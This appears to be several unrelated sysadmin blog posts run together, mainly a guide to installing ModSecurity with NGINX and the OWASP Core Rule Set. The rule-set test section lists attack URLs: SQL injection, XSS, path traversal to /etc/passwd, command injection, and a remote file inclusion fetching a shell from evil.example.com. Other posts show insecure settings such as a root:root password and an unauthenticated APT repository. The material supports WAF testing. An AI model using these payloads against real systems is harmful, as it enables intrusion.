ModSecurity is the world's most popular open-source WAF engine. When paired with the Owasp Core Rule Set (CRS), it provides a powerful and robust layer of defense.

This guide provides a complete, step-by-step walkthrough for compiling and installing ModSecurity v3 from scratch, integrating it with NGINX as a dynamic module, and enabling the powerful OWASP CRS on an Ubuntu server.

Part 1 – Compiling and Installing the Modules and Enabling ModSecurity v3

This guide shows the complete installation of ModSecurity v3 with NGINX and the OWASP Core Rule Set (CRS) on an Ubuntu server – including correct module paths, symlink conventions, and example tests.

1. Install Dependencies

First, let's update our server and install all the necessary build tools and libraries. This includes git, the build essentials, and various development libraries ModSecurity relies on.

sudo apt update
sudo apt install -y git g++ build-essential autoconf automake libtool \
  libpcre3 libpcre3-dev libpcre2-dev libxml2 libxml2-dev libyajl-dev \
  pkg-config zlib1g zlib1g-dev libcurl4-openssl-dev \
  liblua5.3-dev libgeoip-dev doxygen

2. Compile and Install ModSecurity v3

We'll work within the /usr/local/src directory, a common place for building source code. We will clone the ModSecurity repository, initialize its submodules (which are required), and then run the build and installation process.

cd /usr/local/src
sudo git clone --depth 1 -b v3/master --single-branch https://github.com/SpiderLabs/ModSecurity
cd ModSecurity
sudo git submodule init
sudo git submodule update
sudo ./build.sh
sudo ./configure
sudo make -j"$(nproc)"
sudo make install
sudo apt install nginx

After a successful installation, ModSecurity was set up and the directory /usr/local/modsecurity was created, among others.

3. Build the NGINX Module

Now we need the "glue" that connects NGINX to ModSecurity. This is a dynamic module that must be compiled against your exact running version of NGINX.

First, check your NGINX version:

nginx -v

In my case, output was:

nginx version: nginx/1.18.0 (Ubuntu)

Depending on that, you’ll need the NGINX source to build the ModSecurity module. In the example code, we clone ModSecurity‑nginx.git and then download the NGINX 1.24.0 source.

Then you build only the NGINX modules with sudo make modules.

cd /usr/local/src
sudo git clone https://github.com/SpiderLabs/ModSecurity-nginx.git
sudo wget http://nginx.org/download/nginx-1.18.0.tar.gz
sudo tar -xzf nginx-1.18.0.tar.gz
cd nginx-1.18.0
sudo ./configure --with-compat --add-dynamic-module=/usr/local/src//ModSecurity-nginx
sudo make modules

4. Place and Enable the Module

You should now be in the directory /usr/local/src/nginx-1.18.0.

Copy the created NGINX module into the modules directory, then create the file mod-modsecurity.conf and the symlink in nginx/modules-available.

This configuration assumes:

• existing modules are in /usr/share/nginx/modules-available

• symlinks for enabled modules are in /etc/nginx/modules-enabled

sudo cp objs/ngx_http_modsecurity_module.so /usr/lib/nginx/modules/
sudo chmod 0644 /usr/lib/nginx/modules/ngx_http_modsecurity_module.so
echo "load_module modules/ngx_http_modsecurity_module.so;" | sudo tee /usr/share/nginx/modules-available/mod-modsecurity.conf
sudo ln -s /usr/share/nginx/modules-available/mod-modsecurity.conf /etc/nginx/modules-enabled/50-modsecurity.conf

5. Create ModSecurity Configuration

Next, create the base configuration for ModSecurity.

sudo mkdir -p /etc/nginx/modsec
cd /etc/nginx/modsec
sudo cp /usr/local/src/ModSecurity/modsecurity.conf-recommended ./modsecurity.conf
sudo cp /usr/local/src/ModSecurity/unicode.mapping .

If the unicode.mapping file is missing, you can download it via wget:

wget https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/unicode.mapping -O /etc/nginx/modsec/unicode.mapping

6. Enable Basic Rules

You have just copied modsecurity.conf into /etc/nginx/modsec.

Check that the following parameters are set correctly in the file:

SecRuleEngine On
SecAuditEngine RelevantOnly
SecAuditLog /var/log/modsec_audit.log

• SecRuleEngine On: This is the master switch. It activates ModSecurity.

• SecAuditEngine RelevantOnly: This logs only requests that were either blocked or generated an error.

• SecAuditLog: This specifies where to write the audit logs.

7. Integrate the Module into Your Site and Test

Open your site’s NGINX config file in /etc/nginx/sites-enabled

In the server block, right after listen, insert the following:

server {
  listen ...
  server_name ...

      # activate ModSecurity
    modsecurity on;
    modsecurity_rules_file /etc/nginx/modsec/modsecurity.conf;

Now create the file /etc/nginx/modsec/modsec_test.conf:

sudo nano /etc/nginx/modsec/modsec_test.conf

Add the following content:

# For testing purpose
SecRule REQUEST_URI "@contains blockme" "id:1001,phase:1,deny,status:403,msg:'Test rule triggered',chain"
SecRule REQUEST_URI "@beginsWith /test/"

Then edit /etc/nginx/modsec/modsecurity.conf:

sudo nano /etc/nginx/modsec/modsecurity.conf

Add this Include line at the end:

modsecurity.conf excerptInclude /etc/nginx/modsec/modsec_test.conf

Include /etc/nginx/modsec/modsec_test.conf

You must now reload nginx:

sudo nginx -t && sudo systemctl reload nginx

From your local computer, send a test request using curl, or just enter the address in your web browser.

If you use curl, the result should look similar to:

curl -i "http://localhost/test/?test=blockme"
HTTP/1.1 403 Forbidden
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 23 Oct 2025 08:29:47 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive

The important part is HTTP/2 403, the HTTP status code for Forbidden, meaning the request was blocked and ModSecurity is working.

Part 2 – Download and Activate the OWASP CRS

The following commands will let you download and activate the rule set. Change to the modsec directory, clone the Git repository, and create the crs-setup.conf file:

cd /etc/nginx/modsec
sudo git clone https://github.com/coreruleset/coreruleset.git

cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf

It should download the lastest CSR to /rule folder:

/etc/nginx/modsec/coreruleset/rules# ls
asp-dotnet-errors.data                                REQUEST-944-APPLICATION-ATTACK-JAVA.conf
iis-errors.data                                       REQUEST-949-BLOCKING-EVALUATION.conf
java-classes.data                                     RESPONSE-950-DATA-LEAKAGES.conf
lfi-os-files.data                                     RESPONSE-951-DATA-LEAKAGES-SQL.conf
php-errors.data                                       RESPONSE-952-DATA-LEAKAGES-JAVA.conf
php-function-names-933150.data                        RESPONSE-953-DATA-LEAKAGES-PHP.conf
php-variables.data                                    RESPONSE-954-DATA-LEAKAGES-IIS.conf
REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf.example   RESPONSE-955-WEB-SHELLS.conf
REQUEST-901-INITIALIZATION.conf                       RESPONSE-956-DATA-LEAKAGES-RUBY.conf
REQUEST-905-COMMON-EXCEPTIONS.conf                    RESPONSE-959-BLOCKING-EVALUATION.conf
REQUEST-911-METHOD-ENFORCEMENT.conf                   RESPONSE-980-CORRELATION.conf
REQUEST-913-SCANNER-DETECTION.conf                    RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf.example
REQUEST-920-PROTOCOL-ENFORCEMENT.conf                 restricted-files.data
REQUEST-921-PROTOCOL-ATTACK.conf                      restricted-upload.data
REQUEST-922-MULTIPART-ATTACK.conf                     ruby-errors.data
REQUEST-930-APPLICATION-ATTACK-LFI.conf               scanners-user-agents.data
REQUEST-931-APPLICATION-ATTACK-RFI.conf               sql-errors.data
REQUEST-932-APPLICATION-ATTACK-RCE.conf               ssrf.data
REQUEST-933-APPLICATION-ATTACK-PHP.conf               unix-shell-builtins.data
REQUEST-934-APPLICATION-ATTACK-GENERIC.conf           unix-shell.data
REQUEST-941-APPLICATION-ATTACK-XSS.conf               web-shells-asp.data
REQUEST-942-APPLICATION-ATTACK-SQLI.conf              web-shells-php.data
REQUEST-943-APPLICATION-ATTACK-SESSION-FIXATION.conf  windows-powershell-commands.data

Next, include the following files in your modsecurity.conf file to activate the OWASP CRS:

Include /etc/nginx/modsec/coreruleset/crs-setup.conf
Include /etc/nginx/modsec/coreruleset/rules/*.conf

After restarting NGINX, the rule set is active:

sudo nginx -t && sudo systemctl reload nginx
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

Testing the OWASP CRS

The following tests can be used to verify that the rule set is working. Either enter the URL in your browser or use curl with the -I parameter.

SQL injection via manipulated parameter: http://ip/?id=1'+or+1=1--

Cross Site Scripting (XSS) – simple JavaScript: http://ip/?search=<script>alert.js</script>

Attempt to access a sensitive .env file: http://ip/.env

Path traversal to access system files: http://ip/index.php?file=../../../../etc/passwd

Command Injection via GET parameter: http://ip/?cmd=ls%20-la

Local File Inclusion (LFI): http://ip/?testfile=../../../../etc/passwd%00

Remote File Inclusion (RFI): http://ip/?page=http://evil.example.com/shell.txt&cmd=ls

If you receive 403 responses for these requests, congratulations! Your server is now protected by ModSecurity v3 and the industry-standard OWASP Core Rule Set.

Your Server is Secured. What's Next?

Congratulations! By following this guide, you have successfully compiled ModSecurity v3 from scratch, integrated it as a dynamic NGINX module, and deployed the powerful OWASP Core Rule Set. Your web server now has a formidable, active defense against the web's most common and dangerous attacks.

But the journey doesn't end here. A WAF is not a "set it and forget it" tool. Your immediate next step is to monitor and tune.

• Watch the Logs: Keep a close eye on your ModSecurity audit log, which we configured at /var/log/modsec_audit.log. This file is your best friend. It will show you exactly what is being blocked and why.

• Tune for False Positives: The OWASP CRS is designed to be strict, which means it might occasionally block legitimate requests from your application (known as "false positives"). By analyzing the logs, you can identify these and create custom rules to whitelist specific actions for your application, ensuring normal functionality isn't interrupted.

• Stay Updated: Security is a moving target. Regularly update your OWASP CRS rules by running git pull inside the /etc/nginx/modsec/coreruleset directory to protect against the latest threats.

You've built a solid foundation for your web application's security. By actively monitoring and tuning your new WAF, you can maintain a robust defense that is perfectly tailored to your environment.

This guide will walk you through deploying OpenAppSec with NGINX Proxy Manager using Docker, all managed from the slick OpenAppSec SaaS Web UI. Let's get started!

Prerequisites

Before we begin, ensure you have the following ready:

• A Linux server or VM with Docker and Docker Compose installed.

• Internet access to pull Docker images and connect to the OpenAppSec cloud.

• (Optional) A backend web application you want to protect. For this guide, we'll assume an application is running on port 3000.

• Deployment Model:

Fetch the Deployment Blueprint

Create a folder for your new open-appsec deployment and switch to that folder, e.g.

mkdir open-appsec-deployment
cd ./open-appsec-deployment

Download the docker compose file for your desired open-appsec integration

wget https://raw.githubusercontent.com/openappsec/openappsec/main/deployment/docker-compose/nginx-proxy-manager-centrally-managed/docker-compose.yaml

Download the .env file for your desired open-appsec integration and adjust the configuration to your requirements as described below:

wget https://raw.githubusercontent.com/openappsec/openappsec/main/deployment/docker-compose/nginx-proxy-manager-centrally-managed/.env

Link Your Agent to the OpenAppSec Cloud

To manage our new WAF, we need to connect it to the central management portal. This is done using a secure token:

1. Navigate to the OpenAppSec Portal: https://my.openappsec.io/

2. Sign up for a free account or log in using your email, Google, or GitHub.

3. From the "Getting Started" page, follow these steps:

4. Check the box for "I deployed an Agent".

5. Click Manage and select the Docker Profile.

6. For the subtype, choose "NGINX Proxy Manager application security".

7. Click Enforce Policy.

8. You will now be presented with a unique management token. Copy this token.

Back in your server's terminal, add this token as an environment variable. This allows Docker Compose to inject it into the agent container upon startup.

(Remember to replace YOUR_TOKEN_HERE with the actual token you copied.)

export TOKEN="YOUR_TOKEN_HERE"

Launch the Stack!

With the configuration in place, it's time to bring everything online. Run the following command to start the services in detached mode (-d), which lets them run in the background.

docker-compose up -d

Docker will now pull the necessary images and start the containers. To verify that everything is running correctly, use the docker ps command:

docker ps -a

You should see an output similar to this, with the appsec-agent and npm-centrally-managed-attachment containers showing an "Up" status:

CONTAINER ID   IMAGE                                                                        COMMAND                  CREATED          STATUS          PORTS                                                                                  NAMES
5204903ec4fe   ghcr.io/openappsec/nginx-proxy-manager-centrally-managed-attachment:latest   "/init"                  9 seconds ago    Up 6 seconds    0.0.0.0:80-81->80-81/tcp, :::80-81->80-81/tcp, 0.0.0.0:443->443/tcp, :::443->443/tcp   npm-centrally-managed-attachment
4905a185b6fd   ghcr.io/openappsec/agent:latest                                              "/cp-nano-agent --to…"   9 seconds ago    Up 7 seconds                                                                                           appsec-agent

You should now see the application on the open-appsec Web UI!

Configure Your First Proxy Host

Now that the stack is running, we need to tell NGINX Proxy Manager how to route traffic to your backend application.

Access the NGINX Proxy Manager web portal at http://<your-server-ip>:81.

On your first login, you'll be prompted to create an admin user and change the password.

Click Add Proxy Host.

Fill in the details for your application. For example, if you have an app named acmeaudit running on the same Docker host:

Domain Names: acmeaudit.local (or your actual domain)

Scheme: http

Forward Hostname / IP: acmeaudit

Forward Port: 3000

Click Save.

Now, you can run the following curl command again and that NGINX Proxy Manager is now serving ACME Audit application on port 80:

curl http://localhost

Activate Protection in the OpenAppSec Portal

In the open-appsec Web UI: Create an asset defining the specific resources that open-appsec should protect, don't forget to enforce the policy afterwards. When logged in to the open-appsec portal, click on the Assets option in the top navigation menu.

The final and most crucial step is to enable the WAF policy for your application.

Return to your OpenAppSec Web UI.

Click on the Assets tab in the top navigation menu.

Click Create a new asset and fill in the details:

Profile: Choose the Docker profile you created earlier.

Web application URL: To protect all traffic to your site, enter http://*/*. You can make this more specific if needed.

Switch to the Web tab within the asset configuration.

Change the Threat Prevention Mode from Detect to Prevent. This tells the WAF to actively block malicious traffic, not just log it.

Click the Enforce policy button in the top right corner.

That's it! Your application is now actively protected by the OpenAppSec WAF. Any changes you make to the security policy in the SaaS portal will be automatically synced to your agent.

Conclusion

You have successfully deployed a powerful, cloud-managed Web Application Firewall in front of your application using Docker. This combination of OpenAppSec and NGINX Proxy Manager provides a streamlined, modern, and highly effective way to manage your web security posture.

From here, you can explore the OpenAppSec portal to fine-tune security rules, monitor traffic, and analyze security events across all your protected assets.

Elasticsearch Installation

Installation Environment and Elasticsearch Version

• OS: Ubuntu 24.04 LTS

• Elasticsearch: 9.1.0

For cluster configuration, prepare three virtual machines (VMs) as follows:

Download and Install Elasticsearch

The Debian package for Elasticsearch 9.1.0 can be downloaded from the website and installed as follows:

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-9.1.0-amd64.deb
wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-9.1.0-amd64.deb.sha512
shasum -a 512 -c elasticsearch-9.1.0-amd64.deb.sha512
sudo dpkg -i elasticsearch-9.1.0-amd64.deb

Elasticsearch Cluster Configuration

Generate & Deploy Certificates

To secure inter-node communication, generate a common SSL/TLS certificates and deploy them to each node:

sudo /usr/share/elasticsearch/bin/elasticsearch-certutil ca
sudo /usr/share/elasticsearch/bin/elasticsearch-certutil cert --ca elastic-stack-ca.p12

Copy the generated elastic-certificates.p12 file to the /etc/elasticsearch/certs/ directory on each node:

sudo scp elastic-certificates.p12 root@192.168.234.129:/etc/elasticsearch/certs
sudo scp elastic-certificates.p12 root@192.168.234.130:/etc/elasticsearch/certs

Configure elasticsearch.yml

Assign a unique node.name for each node and add the necessary cluster settings:

sudo vim /etc/elasticsearch/elasticsearch.yml

Configure on es-node1 / es-node2 / es-node3

cluster.name: es-cluster
node.name: node-1 #Change the name on each node
network.host: 0.0.0.0

path.data: /opt/elasticsearch/data #the path ur choosing
path.logs: /opt/elasticsearch/logs #the path ur choosing

# List of cluster node IPs
discovery.seed_hosts: ["192.168.234.128", "192.168.234.129","192.168.234.130"]

# Specify master-eligible nodes for initial cluster formation (remove or comment out after initial setup)
cluster.initial_master_nodes: ["node-1", "node-2","node-3"]

# SSL/TLS settings
xpack.security.transport.ssl.enabled: true
xpack.security.transport.ssl.verification_mode: certificate
xpack.security.transport.ssl.client_authentication: required
xpack.security.transport.ssl.keystore.path: elastic-certificates.p12
xpack.security.transport.ssl.truststore.path: elastic-certificates.p12

Note: The cluster.initial_master_nodes setting is only necessary during the initial cluster formation. After the cluster is established, this setting should be removed or commented out. (Refer to Bootstrapping a cluster)

Start Cluster and Verify

Start the Elasticsearch service on each node and then verify the cluster status.

Start the service:

sudo systemctl start elasticsearch

Reset the password for the elastic account:

sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u elastic -i

Check the node status:

curl -u elastic:your_pass http://192.168.234.128:9200/_cat/nodes?v
==============================================================================
ip              heap.percent ram.percent cpu load_1m load_5m load_15m node.role   master name
192.168.234.130           19          89  88    1.30    0.80     0.37 cdfhilmrstw -      node-3
192.168.234.129           24          89   9    0.29    0.17     0.13 cdfhilmrstw -      node-2
192.168.234.128           10          90  17    0.00    0.00     0.00 cdfhilmrstw *      node-1

Check the cluster health:

curl -u elastic:your_pass http://192.168.234.128:9200/_cluster/health?pretty
==============================================================================
{
  "cluster_name" : "es-cluster",
  "status" : "green",
  "timed_out" : false,
  "number_of_nodes" : 3,
  "number_of_data_nodes" : 3,
  "active_primary_shards" : 3,
  "active_shards" : 6,
  "relocating_shards" : 0,
  "initializing_shards" : 0,
  "unassigned_shards" : 0,
  "unassigned_primary_shards" : 0,
  "delayed_unassigned_shards" : 0,
  "number_of_pending_tasks" : 0,
  "number_of_in_flight_fetch" : 0,
  "task_max_waiting_in_queue_millis" : 0,
  "active_shards_percent_as_number" : 100.0
}

Kibana Integration

For security reasons, the elastic account cannot be used with Kibana; instead, the built-in kibana_system account is utilized.

Reset the password for the kibana_system account:

sudo /usr/share/elasticsearch/bin/elasticsearch-reset-password -u kibana_system -i

Download and install Kibana

The Debian package for Kibana 9.1.0 can be downloaded from the website and installed as follows:

wget https://artifacts.elastic.co/downloads/kibana/kibana-9.1.0-amd64.deb
shasum -a 512 kibana-9.1.0-amd64.deb
sudo dpkg -i kibana-9.1.0-amd64.deb

Configure kibana.yml

kibana.yml

server.port: 5601
server.host: "0.0.0.0"
elasticsearch.hosts: ["http://192.168.234.128:9200","http://192.168.234.129:9200","http://192.168.234.130:9200"]
elasticsearch.username: "kibana_system"
elasticsearch.password: "your_pass"

Kibana Startup

cd /opt/kibana
nohup bin/kibana &

Now, access http://192.168.234.128:5601 (or the IP address of the node where Kibana is installed) in a web browser and log in with the elastic account.

Troubleshoot common problem

When joining new node to cluster, you just need to copy the certificates elastic-stack-ca.p12 to your new node.

However, when initialize a node, elasticsearch already create an elasticsearch.keystore file and it will ask for previous keystore password.

Caused by: org.elasticsearch.common.ssl.SslConfigException: cannot read configured [PKCS12] keystore (as a truststore) [/etc/elasticsearch/certs/elastic-certificates.p12] - this is usually caused by an incorrect password; (a keystore password was provided)

        at org.elasticsearch.common.ssl.SslFileUtil.ioException(SslFileUtil.java:58) ~[?:?]

You need to recreate a new elasticsearch.keystore and tell it to use blank password.

# Remove the transport layer keystore
rm /etc/elasticsearch/elasticsearch.keystore

# Add the password for the transport layer keystore
/usr/share/elasticsearch/bin/elasticsearch-keystore add xpack.security.transport.ssl.keystore.secure_password
The elasticsearch keystore does not exist. Do you want to create it? [y/N]y
Enter value for xpack.security.transport.ssl.keystore.secure_password:

/usr/share/elasticsearch/elasticsearch-keystore add xpack.security.transport.ssl.truststore.secure_password
Enter value for xpack.security.http.ssl.truststore.secure_password:

You will be prompted to enter the password for your .p12 file for each command. Enter the same password you created when you generated the certificate.

Or if you leave the password blank, just press Enter.

Conclusion

I introduced a simple way to install Elasticsearch and Kibana and set up a cluster.

The archive installation method is easy to install and manage, making it useful in various environments. Hope you find it helpful!

systemd is designed to be a system init manager for an entire operating system, and Docker containers are designed to run a single process. This mismatch makes running systemd inside Docker non-trivial. However, it is possible with some adjustments, and I will walk you through the process.

Prerequisites

• Ensure you have Docker installed on your machine.

• Familiarity with Docker commands.

Guide to Run systemd in an Ubuntu Docker Container

1. Create Dockerfile is required like below:

FROM ubuntu:22.04

RUN echo 'root:root' | chpasswd
RUN printf '#!/bin/sh\nexit 0' > /usr/sbin/policy-rc.d
RUN apt-get update
RUN apt-get install -y systemd systemd-sysv dbus dbus-user-session
RUN printf "systemctl start systemd-logind" >> /etc/profile

ENTRYPOINT ["/sbin/init"]
/sbin/init is important to init systemd and enable systemctl.

/sbin/init is important to init systemd and enable systemctl.

2. Then build the system.

docker build -t chinhnd/ubuntu-systemd -f Dockerfile .
docker run -it --privileged --cap-add=ALL chinhnd/ubuntu-systemd

Access the running container

Now that your container is running systemd, you can access it and use systemctl inside the container.

1. Enter the container:

    docker exec -it <container_id> bash
   

   Replace <container_id> with the actual container ID from the docker ps output.

   Then log in with root/root.

2. Check if systemd is running:

   Inside the container, run:

    systemctl
   

   If everything is set up correctly, you should see the output from systemctl showing the system services running.

Or, you want to distribute your own Debian packages in your environment.

The simplest way to do it is to setup your own local repository.

Requirements

• python3

• dpkg-scanpackages: sudo apt-get install dpkg-dev

• gzip: sudo apt-get install gzip

Create your repository folder structure

You can customize it, but I will keep my structure quick and simple:

mkdir ~/my_repo/debian

Then go to that directory:

cd my_repo

Add your .deb files to the debian folder

cp my_deb_thing.deb my_deb_thing2.deb my_repo/debian

In this example, 2 have put 2 packages for kibana and elasticsearch to the debian folder.

Create Packages.gz file

You'll need to do this every time you add/update a .deb.

dpkg-scanpackages debian /dev/null | gzip -9c > debian/Packages.gz

You'll get an output similar to:

dpkg-scanpackages will create indices for your packages so Debian package manager can read it.

Run a webserver to host it

Any webserver will do, simply used Python.

python3 -m http.server 9000

The port can be change accordingly.

Configure client machines to point to your debian repository

Add to client machine /etc/apt/sources.list

deb [trusted=yes]http://your-server-ip:9000debian/

Note that the packages will be non authenticated, so if you want to stop having warnings you'll need to add the [trusted=yes]

When update, we will see client getting packages:

Then client can install package using APT package manager, just like a normal packages.

Conclusion

In this post, I show you a quick and easy way to host your own APT repo.

However, for the sake of simplicity, I didn't use any proper webserver; and I didn't secure the distribution process.

There are more secure method like apt-mirror or rerepo and add your own GPG key.

What are Cyrillic Characters?

Cyrillic is an alphabet used in many Eastern European and Slavic languages like Russian, Ukrainian, and Bulgarian.

While some Cyrillic letters resemble Latin characters, they represent entirely different sounds.

This similarity is what phishers exploit.

How Do They Trick You?

Phishers substitute certain Cyrillic characters for their Latin counterparts in domain names. For example, I can create a lookalike domain to my blog using Russian letter.

Unaware users might not notice the subtle difference and click on the link, leading them to a fake website designed to steal login credentials, credit card details, or other sensitive information.

A Real Example

In the screenshot below, we see a message supposedly sent from the domain apple.com. It looks really legitimate.

However, the logo looks cut off and email design is unusual.

The fact is that the apple.com domain we saw above was not legitimate, because the characters are in fact the Cyrillic letters instead of real “р”!

Some browser or email client really don't have a way to properly display these character, so they might look exactly like Latin letters.

Only after you paste this domain to application that support this alphabet, you can see the differences.

There are glyph characters that looks like English or Latin characters, for example:

How to Protect Yourself

Here are some tips to stay safe from Cyrillic character phishing:

• Inspect Sender Addresses Closely: Don't rely solely on the displayed name. Hover over the sender address to see the actual email address. Look for any inconsistencies or unusual characters, especially Cyrillic letters where Latin characters would be expected.

• Scrutinize Website Links: Before clicking a link, hover over it to see the actual URL displayed at the bottom of your browser window. Be wary of any URLs with Cyrillic characters or slight misspellings of legitimate website names.

• Think Before You Click: If an email seems suspicious, especially one with an urgent tone or a tempting offer, don't click on any links or attachments. It's better to be safe than sorry.

• Verify Information Independently: If an email appears to be from a legitimate source like your bank, don't click on any links within the email. Instead, log in to your account directly by typing the website address into your browser window or using the official app.

• Use Security Software: Consider using antivirus and anti-phishing software that can help identify and block malicious websites.

Stay Vigilant!

By being aware of this tactic and following these simple tips, you can significantly reduce your risk of falling victim to Cyrillic character phishing scams.

Remember, cybercriminals are constantly evolving their methods, so staying vigilant and practicing good security habits is crucial in protecting your information.

Route duplication is a situation where two or more routes to the same destination exist in a routing table.

This can happen for several reasons, such as misconfiguration, or the use of overlapping prefixes in different networks.

In some cases, it may be necessary to have two routes to the same destination, such as for load balancing or redundancy. However, in most cases, having duplicate routes is not necessary and can lead to problems.

Route duplication can cause many problems, including routing loops, black holes, and performance problems. It is important to detect and avoid route duplication to ensure the smooth operation of your network.

Longest prefix matching

Longest prefix matching (LPM) is a fundamental concept in networking that plays a critical role in IP routing. It allows for the efficient forwarding of packets, enables complex network policies, and is essential for the operation of the Internet.

In packet routing, there is a possibility of overlapping entries in the routing table. As a result, we must pick an IP prefix that is more specific to the destination address.

For example, suppose you want to send a letter to City A and District B and there are two possible mailmen to choose from:

• The first mailman can hand over his letter to your destination, who works in a post office in city A. He has to search the hold city to find the receiver.

• Another mailman works in a particular district B of that city. He lives in the same neighborhood and knows exactly where to find the receiver.

As a result, giving the letter to the second person is more efficient because he handles more localized regions.

LPM works in the same way. By comparing the destination IP address of a packet to the prefixes in a routing table, the router selects the route with the longest prefix or a more specific route that matches the destination IP address.

Duplicate routes

For example, consider the following routing table:

If the router receives a packet with the destination IP address 192.168.1.100, it will use the first route in the routing table, because it has the longest prefix that matches the destination IP address.

The second route would also match the destination IP address, but it is less specific because it has a shorter prefix.

The longest prefix rule is used by all IP routers, regardless of the routing protocol that they are using. It is also used in other networking technologies, such as MPLS and BGP.

Overlapping subnets

The longest prefix rule can also be used to handle overlapping subnets. For example, consider the following subnets:

• 192.168.1.0/23

• 192.168.1.128/24

In this case, the two subnets overlap because the IP addresses 192.168.1.128 to 192.168.1.255 belong to both subnets. If a router on this network receives a packet with the destination IP address 192.168.1.130, it will use the longest prefix rule to determine which subnet to forward the packet to.

In this case, the longest prefix that matches the destination IP address is 192.168.1.128/24. Therefore, the router will forward the packet to the 192.168.1.128/24 subnet.

Undesirable routing with LPM

When you already have a route to a specific host and a new route is received with a longer prefix, the new route will take precedence. This is because LPM always chooses the most specific route to forward a packet.

For example, consider the following scenario:

• You have a route with the prefix 192.168.1.0/24, and next-hop to 192.168.1.24

• You receive a new route with the prefix 192.168.1.100/32, and next-hop to 192.168.1.28

In this scenario, the new route with the prefix 192.168.1.100/32 will take precedence. This means that any packets destined for the host 192.168.1.100 will be forwarded to 192.168.1.28 even though you already have a route to the host 192.168.1.100 with the next-hop 192.168.1.24.

In real-world scenarios, network engineers often want a specific path to direct the traffic to and don't want the traffic to go to a new route. In this case, LPM behavior can be undesirable.

Control LPM behavior

To prevent the router from using a new route with a longer prefix, you can use a routing policy. A routing policy is a set of rules that control how the router selects and forwards packets.

Here is an example of a route-map that prefers static routes over routes learned from routing protocols on Cisco syntax:

route-map PREFERED_ROUTES
  match ip address prefix-list PREFERED_ROUTES_LIST
  set local-preference 100
!
interface Ethernet0/0
  ip route-policy PREFERED_ROUTES in
end

This routing policy will match all packets that are destined for prefixes that are defined in the prefix-list PREFERED_ROUTES_LIST. For all matching packets, the routing policy will set the local preference to 100.

The local preference is a metric that is used by the router to select between multiple routes. A higher local preference indicates a more preferred route. Therefore, this routing policy will ensure that the router will always prefer static routes over routes learned from routing protocols.

This is just a simple example of manipulating the effect of LPM. You can use this to your advantage to create more complex routing policies.

It is important to note that if you have multiple routing policies configured on an interface, the router will apply the first routing policy that matches the packet.

Advantages and disadvantages of LPM

LPM helps prevent duplicate routes in the routing table of a router. This is because LPM will always choose the most specific route to forward a packet. This comes with several benefits:

• Improved performance: By using the most specific route, the router can forward packets more quickly and efficiently.

• Increased reliability: The longest prefix rule helps to reduce the chance of routing loops and other problems.

• Scalability: The longest prefix rule can be used to scale networks of any size.

Despite that, there are a few potential negatives to using LPM:

• Increased complexity: LPM can be more complex to implement than other routing algorithms, such as static routing. This is because LPM requires the router to maintain a trie of all of the prefixes in its routing table.

• Increased overhead: The router must perform a depth-first search of the trie to find the longest prefix that matches the destination IP address of the packet.

• Potential for routing loops: This can happen if there are two or more routes in the routing table that have the same prefix length and the next hop addresses for those routes are different.

Conclusion

The longest prefix rule is an essential part of IP networking, and it is one of the key reasons why the Internet is able to work so well.

Overall, LPM is a powerful and efficient routing algorithm that offers a number of benefits. However, it is important to be aware of the behavior of LPM and take steps to mitigate any undesirable behavior.

A user account is a set of credentials that allow a user to log in to a Linux system and access its resources. Each user account has a unique username and password, as well as a set of permissions that determine what files and directories the user can access and modify.

Why is user management important?

User management is important for several reasons:

• Security: It helps to protect the system from unauthorized access and malicious activity.

• Resource management: It allows system administrators to control how resources are allocated to users.

• Collaboration: It facilitates collaboration between users by allowing them to share files and directories.

Types of users

There are three main types of users in Linux:

• Root: The root user is the superuser, with full administrative privileges over the system.

• Regular users: Regular users have limited access to the system, but can gain administrative privileges by using the sudo command.

• Service users: Service users are used by system services to run in the background. They typically have limited access to the system and cannot log in directly.

Root user

The root user is the most powerful user on a Linux system. It has full access to all files and directories and can run any command. The root user is typically used for system administration tasks, such as installing and configuring software, managing users and groups, and troubleshooting problems.

Regular users

Regular users are used by everyday users to access the system. They have limited access to files and directories, and cannot run certain commands that could damage the system. Regular users can gain administrative privileges by using the sudo command. The sudo command allows regular users to run commands as the root user.

Service users

Service users are used by system services to run in the background. System services are programs that provide essential functionality for the system, such as networking, file sharing, and printing. Service users typically have limited access to the system and cannot log in directly.

How to create, delete, and change users password

To change your own password, type the following command:

passwd

You will be prompted to enter your current password and then your new password twice.

To change the password of another user, replace <username> with the name of the user whose password you want to change:

sudo passwd <username>

To create a new user account, use adduser and replace <username> with the name of the new user account:

sudo adduser <username>

You will be prompted to enter additional information about the new user account, such as a full name and a password.

To delete a user account:

1. Open a terminal window.

2. Type the following command, replacing <username> with the name of the user account you want to delete:

sudo deluser <username>

Important: Be careful when changing or resetting user passwords. If you make a mistake, you could lock yourself or other users out of the system.

User ID

There are standard user ID (UID) ranges for each type of user in Linux:

• Root user: UID 0

• Regular users: UIDs from 1000 onwards

• Service users: UIDs from 100 to 999

You can check UID it using cat /etc/passwd | grep <username>

nguyenducchinh@VM:~$ cat /etc/passwd | grep nguyenducchinh
nguyenducchinh:x:1000:1000:Nguyen Duc Chinh,,,:/home/nguyenducchinh:/bin/bash
nguyenducchinh@VM:~$

Understand /etc/passwd file

In the above example, you can see the different fields of /etc/passwd, separated by a colon.

username:password:UID:GID:'Description',,,:Home_directory:shell

The fields are:

• Username: The string that the user types when logging in. Usernames must be unique and can be up to 32 characters long.

• Password: In older Linux systems, the user's encrypted password was stored in the /etc/passwd file. However, newer systems store the password in the /etc/shadow file. The password field in /etc/passwd is typically set to the character x.

• User ID (UID): A unique number assigned to each user. The UID is used by the operating system to identify the user.

• Group ID (GID): The primary group of the user. The primary group is the group that the user belongs to by default.

• GECOS (comment field): A field that can contain additional information about the user, such as their full name, office phone number, and department.

• Home directory: The absolute path to the user's home directory. The home directory is the directory where the user's files are stored.

• Shell: The absolute path to the user's default shell. The shell is the program that the user uses to interact with the operating system. You can read about different shell in Linux here in this blog post.

Understand /etc/shadow file

